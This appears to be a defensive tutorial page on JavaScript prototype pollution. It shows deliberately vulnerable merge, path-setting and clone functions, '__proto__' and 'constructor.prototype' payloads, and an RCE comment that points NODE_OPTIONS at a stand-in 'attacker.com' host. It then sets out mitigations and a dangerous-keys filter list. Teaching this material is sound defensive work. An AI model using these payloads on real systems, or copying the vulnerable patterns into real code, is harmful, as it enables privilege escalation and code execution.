Back to Learning Center
highOWASP Prototype Pollution Cheat SheetCWE-1321

Prototype Pollution

Prototype pollution exploits JavaScript's prototypal inheritance to inject malicious properties into the global Object prototype. Since virtually every object inherits from Object.prototype, a single malicious property can poison the entire application - enabling XSS on clients and remote code execution on servers.

Understanding JavaScript Prototypes

JavaScript uses prototypal inheritance rather than classical inheritance. Every object has an internal link to another object called its prototype. When you access a property that doesn't exist on an object, JavaScript looks up the prototype chain.

javascript
const user = { name: 'Alice' };

// user doesn't have toString, but Object.prototype does
console.log(user.toString()); // "[object Object]"

// The prototype chain:
// user -> Object.prototype -> null

// You can access the prototype via __proto__
console.log(user.__proto__ === Object.prototype); // true

// Or via Object.getPrototypeOf
console.log(Object.getPrototypeOf(user) === Object.prototype); // true

How Prototype Pollution Works

When applications merge user-controlled data into objects without proper validation, attackers can inject the special __proto__ property to modify Object.prototype:

javascript
// Vulnerable merge function
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Normal usage
const user = { name: 'Bob' };
merge(user, { email: 'bob@example.com' });

// ATTACK: Pollute the prototype
const maliciousPayload = JSON.parse(
  '{"__proto__": {"isAdmin": true}}'
);
merge({}, maliciousPayload);

// Now EVERY object has isAdmin = true!
const newUser = {};
console.log(newUser.isAdmin); // true  <- POLLUTED!

Common Vulnerable Patterns

Object Merging

javascript
// Express.js body parsing with vulnerable merge
app.post('/api/settings', (req, res) => {
  const defaults = { theme: 'light', notifications: true };
  
  // VULNERABLE: Deep merge with user input
  const settings = _.merge(defaults, req.body);
  
  saveSettings(req.user.id, settings);
  res.json(settings);
});

// Attack payload:
// POST /api/settings
// {"__proto__": {"polluted": true}}

Path-Based Property Setting

javascript
// Vulnerable: Setting nested properties by path
function setProperty(obj, path, value) {
  const keys = path.split('.');
  let current = obj;
  
  for (let i = 0; i < keys.length - 1; i++) {
    if (!current[keys[i]]) {
      current[keys[i]] = {};
    }
    current = current[keys[i]];
  }
  
  current[keys[keys.length - 1]] = value;
  return obj;
}

// Normal usage
setProperty({}, 'user.name', 'Alice');
// { user: { name: 'Alice' } }

// Attack: Pollute via constructor.prototype
setProperty({}, 'constructor.prototype.isAdmin', true);

// Or via __proto__
setProperty({}, '__proto__.isAdmin', true);

// All objects now have isAdmin = true

Object Cloning

javascript
// Vulnerable clone function
function clone(obj) {
  if (typeof obj !== 'object' || obj === null) return obj;
  
  const result = Array.isArray(obj) ? [] : {};
  
  for (const key in obj) {
    result[key] = clone(obj[key]);
  }
  
  return result;
}

// Attack: Clone object with __proto__
const malicious = JSON.parse(
  '{"__proto__": {"pwned": true}}'
);

clone(malicious);
console.log({}.pwned); // true

Real-World Exploitation

Client-Side XSS via Gadgets

javascript
// Many libraries check for property existence
// If Object.prototype is polluted, these checks pass

// Example: Template library checks for escape function
function renderTemplate(template, data) {
  // If data.escapeHtml exists, use it
  const escape = data.escapeHtml || defaultEscape;
  return template.replace(/\{\{(\w+)\}\}/g, (_, key) => {
    return escape(data[key]);
  });
}

// Attack: Pollute to inject malicious escape function
// { "__proto__": { "escapeHtml": "(x) => x" } }
// Now XSS payloads aren't escaped!

Server-Side RCE

javascript
const { exec } = require('child_process');

// Some code uses options objects with defaults
function runCommand(cmd, options = {}) {
  const shell = options.shell || '/bin/sh';
  const env = options.env || process.env;
  
  return exec(cmd, { shell, env });
}

// If Object.prototype is polluted with:
// { "shell": "/proc/self/exe", "NODE_OPTIONS": "--require=malicious" }
// The command runs with attacker-controlled options

// Or pollute env to inject malicious environment variables
// { "__proto__": { "NODE_OPTIONS": "--inspect=attacker.com" } }

Prevention Strategies

Use Null-Prototype Objects

javascript
// Create objects without prototype
const safeObj = Object.create(null);
console.log(safeObj.__proto__); // undefined

// Polluting Object.prototype won't affect it
Object.prototype.polluted = true;
console.log(safeObj.polluted); // undefined (safe!)

// Use for configuration and user data
function createSafeConfig(userInput) {
  const config = Object.create(null);
  // Only copy allowed keys
  for (const key of ALLOWED_KEYS) {
    if (key in userInput) {
      config[key] = userInput[key];
    }
  }
  return config;
}

Use Map Instead of Objects

javascript
// Maps don't inherit from Object.prototype
const userSettings = new Map();

// Safe operations
userSettings.set('theme', 'dark');
userSettings.set('__proto__', 'ignored'); // Just a regular key

console.log(userSettings.get('theme')); // 'dark'
console.log({}.polluted); // undefined (Object.prototype unaffected)

Filter Dangerous Keys

javascript
const DANGEROUS_KEYS = ['__proto__', 'constructor', 'prototype'];

function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    // Skip dangerous keys
    if (DANGEROUS_KEYS.includes(key)) {
      continue;
    }
    
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      safeMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Use Object.keys() not for...in
// Object.keys() doesn't enumerate prototype properties

Freeze Object.prototype

javascript
// Prevent modifications to built-in prototypes
// Do this early in application startup
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);

// Now pollution attempts will fail silently (or throw in strict mode)
Object.prototype.polluted = true;
console.log({}.polluted); // undefined (frozen!)

Use Schema Validation

javascript
import { z } from 'zod';

// Define explicit schema - unknown keys are stripped
const settingsSchema = z.object({
  theme: z.enum(['light', 'dark']).default('light'),
  notifications: z.boolean().default(true),
  language: z.string().max(5).default('en'),
}).strict();  // Reject unknown keys

app.post('/api/settings', (req, res) => {
  const result = settingsSchema.safeParse(req.body);
  
  if (!result.success) {
    return res.status(400).json({ error: result.error });
  }
  
  // result.data is a clean object with only allowed properties
  saveSettings(req.user.id, result.data);
  res.json(result.data);
});

Security Checklist

  • Use Object.create(null) for user-controlled data structures
  • Filter __proto__, constructor, and prototype from input
  • Use Map/Set instead of plain objects for dynamic data
  • Validate input with strict schemas (Zod, Joi)
  • Freeze built-in prototypes at application startup
  • Audit dependencies for known prototype pollution CVEs
  • Use Object.keys() instead of for...in loops
  • Use hasOwnProperty checks before accessing properties